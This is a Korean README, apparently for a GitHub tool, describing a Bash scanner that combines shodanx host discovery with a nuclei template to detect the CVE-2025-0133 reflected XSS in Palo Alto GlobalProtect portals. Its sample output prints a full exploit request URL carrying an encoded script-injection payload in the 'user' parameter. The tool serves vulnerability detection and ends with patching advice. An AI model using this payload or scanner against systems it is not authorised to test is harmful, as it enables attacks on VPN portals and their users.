CVE-2025-0133 취약점 스캐너

nuclei와 shodanx를 사용하여 Palo Alto GlobalProtect Gateway 및 Portal의 CVE-2025-0133 반사형 XSS 취약점을 탐지하는 Bash 기반 자동 스캐너 도구입니다.

작성자:

날짜: 2025-06-23
심각도: 중간
CVE ID: CVE-2025-0133
취약점 유형: 반사형 크로스 사이트 스크립팅(XSS)
테스트 대상: Palo Alto Networks GlobalProtect Portal(PAN-OS)

개요

이 도구는 침투 테스터와 보안 연구원이 CVE-2025-0133 문제와 관련된 취약한 도메인 또는 IP를 신속하게 식별할 수 있도록 도와줍니다.
nuclei 템플릿과 Shodan 쿼리 통합(shodanx)을 활용하여 대상을 효율적으로 찾고 스캔합니다.

기능

입력값이 단일 도메인인지 여러 도메인/IP가 포함된 파일인지 자동으로 감지합니다
단일 도메인에 대해 shodanx를 실행하여 관련 호스트를 수집합니다
사용자 지정 CVE-2025-0133 템플릿과 함께 nuclei를 사용하여 대상을 스캔합니다
명령줄에 스캔 결과를 깔끔한 표 형식으로 표시합니다
스캔 시작 및 종료 시간을 표시합니다
결과를 .txt 및 .json 형식으로 저장할지 묻는 메시지를 표시합니다
내장된 도움말 및 사용 지침

요구 사항

Bash 셸이 있는 Linux 환경
$PATH에 설치되어 액세스 가능한 nuclei
설치 및 구성된 shodanx)
다음 위치에 있는 CVE-2025-0133 nuclei 템플릿 파일:
/home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (필요에 따라 경로 변경)

📦 필수 도구 설치

🔹 1. ShodanX 설치

pip install git+https://github.com/RevoltSecurities/ShodanX

다음 오류가 표시되면: "error: externally-managed-environment"

pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages

⚠️ 참고: 일부 시스템(특히 Debian/Ubuntu)에서는 pip가 가상 환경 외부에 권한 오류 없이 패키지를 설치할 수 있도록 --break-system-packages 옵션이 필요합니다.

👉 shodanx가 $PATH에 있는지 확인하세요.
다음 명령으로 테스트할 수 있습니다:

shodanx -h

🔹 2. Nuclei 설치

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

설치 확인:

nuclei -version

그런 다음 템플릿을 업데이트합니다:

nuclei -update-templates

사용법

┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h 
Usage: ./cve20250133.sh <domain-or-file>

Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.

Options:
  -h, --help, help     Show this help message and exit.

예제

단일 도메인 스캔

┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51


▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  █▌▟▖▄▌▄▌
                          
-ＩＮＴＥＬＥＯＮ４０４


[✔] Input is a single domain: domain.com — Running ShodanX first
     _                               _      
    | |            |                (_\  /  
 ,  | |     __   __|   __,   _  _      \/   
/ \_|/ \   /  \_/  |  /  |  / |/ |     /\   
 \/ |   |_/\__/ \_/|_/\_/|_/  |  |_/ _/  \_/
                                            
                                            

                     - RevoltSecurities

[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.5

        projectdiscovery.io

[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------

파일에서 스캔

┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt       
Scan Start Time: 2025-06-24 16:36:37


▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  █▌▟▖▄▌▄▌
                          
-ＩＮＴＥＬＥＯＮ４０４


[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.5

        projectdiscovery.io

[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------

CVE-2025-0133 세부 정보

Palo Alto GlobalProtect Gateway 및 Portal의 반사형 크로스 사이트 스크립팅(XSS) 취약점으로, 공격자가 조작된 요청을 통해 악성 스크립트를 주입할 수 있습니다.
이 문제를 완화하려면 최신 Palo Alto Networks 릴리스로 업데이트하여 시스템에 패치를 적용하세요.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

CVE-2025-0133

인기